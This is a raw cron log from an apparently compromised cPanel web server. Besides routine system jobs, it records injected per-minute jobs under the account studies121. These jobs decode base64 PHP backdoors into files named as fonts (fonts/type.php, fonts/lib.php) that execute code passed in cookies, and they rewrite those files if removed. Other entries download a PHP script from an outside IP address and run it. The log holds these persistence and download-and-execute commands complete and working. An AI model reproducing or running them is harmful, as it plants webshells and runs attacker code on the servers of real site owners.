Sep  8 12:51:01 ip-184-168-122-23 CROND[22652]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 12:51:01 ip-184-168-122-23 CROND[22656]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 12:52:01 ip-184-168-122-23 CROND[22742]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 12:52:01 ip-184-168-122-23 CROND[22744]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 12:52:01 ip-184-168-122-23 CROND[22748]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 12:52:01 ip-184-168-122-23 CROND[22745]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 12:52:01 ip-184-168-122-23 CROND[22746]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  8 12:53:01 ip-184-168-122-23 CROND[22845]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 12:53:01 ip-184-168-122-23 CROND[22846]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 12:53:01 ip-184-168-122-23 CROND[22847]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 12:53:01 ip-184-168-122-23 CROND[22848]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 12:54:01 ip-184-168-122-23 CROND[22966]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 12:54:01 ip-184-168-122-23 CROND[22967]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 12:54:01 ip-184-168-122-23 CROND[22968]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  8 12:54:01 ip-184-168-122-23 CROND[22971]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 12:54:01 ip-184-168-122-23 CROND[22973]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 12:55:01 ip-184-168-122-23 CROND[23078]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 12:55:01 ip-184-168-122-23 CROND[23079]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 12:55:01 ip-184-168-122-23 CROND[23080]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  8 12:55:01 ip-184-168-122-23 CROND[23086]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 12:55:01 ip-184-168-122-23 CROND[23083]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  8 12:55:01 ip-184-168-122-23 CROND[23082]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 12:56:01 ip-184-168-122-23 CROND[23192]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 12:56:01 ip-184-168-122-23 CROND[23194]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 12:56:01 ip-184-168-122-23 CROND[23196]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 12:56:01 ip-184-168-122-23 CROND[23195]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 12:56:01 ip-184-168-122-23 CROND[23197]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  8 12:57:01 ip-184-168-122-23 CROND[23289]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 12:57:01 ip-184-168-122-23 CROND[23288]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 12:57:01 ip-184-168-122-23 CROND[23287]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 12:57:01 ip-184-168-122-23 CROND[23290]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 12:58:01 ip-184-168-122-23 CROND[23374]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 12:58:01 ip-184-168-122-23 CROND[23376]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 12:58:01 ip-184-168-122-23 CROND[23378]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  8 12:58:01 ip-184-168-122-23 CROND[23381]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 12:58:01 ip-184-168-122-23 CROND[23380]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 12:59:01 ip-184-168-122-23 CROND[23460]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 12:59:01 ip-184-168-122-23 CROND[23463]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 12:59:01 ip-184-168-122-23 CROND[23464]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 12:59:01 ip-184-168-122-23 CROND[23462]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 13:00:01 ip-184-168-122-23 CROND[23634]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  8 13:00:01 ip-184-168-122-23 CROND[23636]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  8 13:00:01 ip-184-168-122-23 CROND[23637]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  8 13:00:01 ip-184-168-122-23 CROND[23645]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 13:00:01 ip-184-168-122-23 CROND[23642]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 13:00:01 ip-184-168-122-23 CROND[23641]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  8 13:00:01 ip-184-168-122-23 CROND[23644]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 13:00:01 ip-184-168-122-23 CROND[23643]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 13:01:01 ip-184-168-122-23 CROND[23738]: (root) CMD (run-parts /etc/cron.hourly)
Sep  8 13:01:01 ip-184-168-122-23 run-parts(/etc/cron.hourly)[23738]: starting 0anacron
Sep  8 13:01:01 ip-184-168-122-23 CROND[23745]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 13:01:01 ip-184-168-122-23 CROND[23746]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 13:01:01 ip-184-168-122-23 CROND[23747]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 13:01:01 ip-184-168-122-23 CROND[23749]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  8 13:01:01 ip-184-168-122-23 CROND[23750]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 13:01:01 ip-184-168-122-23 run-parts(/etc/cron.hourly)[23757]: finished 0anacron
Sep  8 13:02:01 ip-184-168-122-23 CROND[23896]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 13:02:01 ip-184-168-122-23 CROND[23897]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 13:02:01 ip-184-168-122-23 CROND[23900]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 13:02:01 ip-184-168-122-23 CROND[23899]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  8 13:02:01 ip-184-168-122-23 CROND[23902]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 13:03:01 ip-184-168-122-23 CROND[24018]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 13:03:01 ip-184-168-122-23 CROND[24020]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 13:03:01 ip-184-168-122-23 CROND[24023]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
